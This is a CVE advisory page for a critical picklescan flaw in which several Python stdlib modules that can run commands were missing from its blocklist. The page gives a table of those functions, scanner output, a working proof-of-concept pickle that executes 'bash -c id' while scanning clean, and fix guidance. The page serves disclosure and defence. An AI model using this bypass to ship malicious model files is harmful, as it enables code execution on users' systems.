Skip to main content

CVE-2026-56315 — Vulnerability in picklescan — CVE Details

CRITICAL

PickleScan has multiple stdlib modules with direct RCE not in blocklist

Published March 3, 2026Updated October 1, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (1.15%). Schedule for your next planned update.

Does your project use an affected picklescan version?

Paste your requirements.txt to check it for CVE-2026-56315 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my requirements.txt

Summary

Summary

picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.

Severity

Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

Unblocked RCE Modules

ModuleFunctionRCE Mechanismpicklescan Result
uuid_get_command_stdout(cmd, *args)subprocess.Popen((cmd,) + args)CLEAN
_osx_support_read_output(cmdstring)os.system() via temp fileCLEAN
_osx_support_find_build_tool(toolname)Command injection via %sCLEAN
_aix_support_read_cmd_output(cmdstring)os.system()CLEAN
_pyrepl.pagerpipe_pager(text, cmd)subprocess.Popen(cmd, shell=True)CLEAN
_pyrepl.pagertempfile_pager(text, cmd)os.system(cmd + ...)CLEAN
imaplibIMAP4_stream(command)subprocess.Popen(command, shell=True)CLEAN
test.support.script_helperassert_python_ok(*args)Spawns python subprocessCLEAN

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

  • uuid — not blocked
  • _osx_support — not blocked
  • _aix_support — not blocked
  • _pyrepl — not blocked
  • _pyrepl.pager — not blocked (parent wildcard doesn't apply since _pyrepl isn't blocked)
  • imaplib — not blocked
  • test — not blocked
  • test.support — not blocked
  • test.support.script_helper — not blocked

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

  • picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
  • picklescan v0.0.21 — same result (modules never blocked in any version)

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

  • HuggingFace Hub — uses picklescan server-side to scan uploaded model files
  • ML pipelines — any CI/CD or loading pipeline using picklescan
  • Model registries — any registry relying on picklescan for safety checks

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

Suggested Fix

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:

  1. Switching to an allowlist (default-deny) for permitted globals
  2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)

Resources

  • picklescan source: scanner.py lines 120-219 (_unsafe_globals)
  • Python source: Lib/uuid.py, Lib/_osx_support.py, Lib/_aix_support.py, Lib/_pyrepl/pager.py, Lib/imaplib.py

Advisory Timeline

  • First published March 3, 2026 (268 days ago).
  • Last revised October 1, 2026 — 212 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update picklescan to 1.0.4 or later
pip install "picklescan>=1.0.4"

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: PyPI (1).

PackageFixed In
picklescan PyPI · Affected: 0.0.1, 0.0.10, 0.0.11, 0.0.12 (+35 more)1.0.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-56315?
PickleScan has multiple stdlib modules with direct RCE not in blocklist. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-56315?
CVE-2026-56315 affects picklescan. It has a 1.1% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-56315 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Maximum impact if exploited, often with little effort or access required.

EPSS Score (30-day exploit probability)
1.15%
EPSS percentile: 66.6

This is an above-median EPSS score — 66.6% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.

Also Known As

GHSA-g38g-8gr9-h9xp
PYSEC-2026-4134

Related CVEs

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my requirements.txt